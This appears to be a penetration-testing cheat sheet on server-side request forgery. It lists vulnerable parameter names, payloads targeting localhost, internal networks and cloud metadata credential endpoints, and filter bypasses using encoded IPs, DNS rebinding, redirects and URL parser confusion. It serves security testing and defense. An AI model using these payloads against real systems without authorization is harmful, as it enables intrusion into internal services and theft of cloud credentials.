Server-Side Request Forgery (SSRF)
Make the server send requests to unintended locations.
Methodology
- 1Identify parameters that accept URLs or hostnames
- 2Test for basic SSRF (internal resources, localhost)
- 3Bypass filters (IP encoding, DNS rebinding, redirects)
- 4Exploit SSRF for internal service access, cloud metadata
Detailed Steps
Look for URL-accepting parameters:
shell
?url=http://example.com
?uri=http://example.com
?path=http://example.com
?dest=http://example.com
?redirect=http://example.com
?feed=http://example.com
?host=example.com
?site=example.com
?img=http://example.com/img.jpgAlso check:
- Webhook URLs
- PDF generators (URL to PDF)
- Image fetchers / Open Graph fetchers
- File import from URL
- SVG processing
Target localhost:
shell
http://127.0.0.1
http://localhost
http://127.0.0.1:80
http://127.0.0.1:8080
http://127.0.0.1:3000
http://[::1]
http://0.0.0.0
http://0177.0.0.1 (octal)
http://2130706433 (decimal)
http://0x7f000001 (hex)Internal network scanning:
shell
http://192.168.0.1
http://10.0.0.1
http://172.16.0.1
http://192.168.1.1:8080AWS:
shell
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAMEGCP:
shell
http://metadata.google.internal/computeMetadata/v1/
Headers: Metadata-Flavor: GoogleAzure:
shell
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: trueDigitalOcean:
shell
http://169.254.169.254/metadata/v1/URL encoding:
shell
http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31Alternative IP notations:
shell
127.0.0.1
2130706433 (decimal)
0x7f000001 (hex)
0177.0.0.1 (octal)
127.1
127.0.1DNS tricks:
shell
http://localtest.me (resolves to 127.0.0.1)
http://spoofed.burpcollaborator.net (DNS rebinding)
http://your-server.com (redirect to internal IP)Open redirect chaining:
shell
url=http://target.com/redirect?url=http://127.0.0.1/adminURL parser confusion:
shell
http://expected.com@127.0.0.1
http://127.0.0.1#expected.com
http://expected.com.127.0.0.1Use out-of-band (Burp Collaborator):
shell
url=http://BURP_COLLABORATOR_ID.burpcollaborator.netDetect via timing:
shell
url=http://192.168.1.1:22 (SSH → slow/fast response)
url=http://192.168.1.1:80 (HTTP → different timing)
url=http://192.168.1.1:9999 (closed → fast reset)Internal port scanning: iterate ports to find open services based on response differences.
Tools
Burp SuiteSSRFmapGopherus